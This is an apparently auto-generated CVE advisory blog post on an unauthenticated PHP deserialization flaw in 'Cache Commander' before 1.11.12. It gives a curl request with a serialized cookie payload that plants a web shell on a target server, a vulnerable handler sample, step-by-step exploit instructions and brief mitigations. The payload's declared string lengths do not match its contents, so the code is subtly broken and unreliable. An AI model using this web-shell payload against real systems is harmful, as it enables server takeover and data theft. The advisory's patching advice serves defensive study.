Listen to this Post
The vulnerability stems from improper validation and sanitization of serialized user-controlled inputs within the cache management mechanism. When processing cached objects or cache warmer operations, the application accepts payload data—such as custom serialized strings or HTTP cookie inputs—and directly passes it to deserialization primitives like `unserialize()` without enforcing type safety or cryptographic signing. An unauthenticated attacker can exploit this behavior by sending a specially crafted request carrying POP (Property Oriented Programming) gadget chains designed to instantiate dangerous PHP or system objects. During object instantiation, magic methods such as __wakeup(), __toString(), or `__destruct()` execute automatically during processing. This allows arbitrary internal functions or dynamic method calls to trigger on the server, eventually granting full arbitrary code execution in the context of the underlying web server process. Because no authentication checks surround the vulnerable cache interface, remote actors can leverage this entry point to execute operating system commands, extract confidential database credentials, read sensitive configuration files, establish persistence, or entirely compromise the hosting environment.
DailyCVE Form:
Platform: Cache Commander
Version: Before 1.11.12
Vulnerability: Remote Code Execution
Severity: Critical
date: 2026-05-25
Prediction: 2026-05-25
What Undercode Say: Analytics
The vulnerability directly impacts object lifecycle routines during cache-warming passes or cookie handling. Insecure deserialization enables unauthenticated payload delivery through HTTP requests, achieving arbitrary command execution without requiring account credentials.
Bash Commands and Codes
curl -i -s -k -X 'GET' \
-H 'User-Agent: Mozilla/5.0' \
-H 'Cookie: cache_commander_session=O:10:"CacheCommander":2:{s:4:"path";s:11:"/tmp/pwn.php";s:4:"code";s:24:"<?php system($_GET["c"]);?>";}' \
'http://target-server.com/index.php'
<?php
// Vulnerable Deserialization Handler in Cache Commander
class CacheCommander {
public $path;
public $code;
public function __destruct() {
if (!empty($this->path) && !empty($this->code)) {
file_put_contents($this->path, $this->code);
}
}
}
$userData = $_COOKIE['cache_commander_session'];
if (isset($userData)) {
// Dangerous: Direct deserialization of untrusted input
$cacheObj = unserialize($userData);
}
?>
How Exploit: (Educational Purposes!)
- Identify target endpoints running vulnerable Cache Commander component versions prior to 1.11.12.
- Construct a PHP object gadget chain that implements standard magic methods such as `__destruct()` or `__wakeup()` to perform file writes or invoke
system(). - Serialize the crafted payload object into string format and encode it appropriately for transport.
- Send an HTTP request delivering the serialized string inside the vulnerable parameter or cookie header.
- Trigger object instantiation and payload execution on the server to execute arbitrary shell commands.
Protection:
- Upgrade the Cache Commander component immediately to version 1.11.12 or later.
- Replace direct call usages of `unserialize()` with safe structured formats such as
json_decode(). - If `unserialize()` must be retained, pass `allowed_classes => false` in options to prevent arbitrary object instantiation.
- Deploy Web Application Firewall (WAF) rules to detect and block serialized PHP object signatures in HTTP payloads.
Impact:
Successful exploitation allows unauthenticated attackers to achieve Remote Code Execution (RCE) on the server, leading to complete infrastructure takeover, sensitive data theft, and persistence within the target system.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
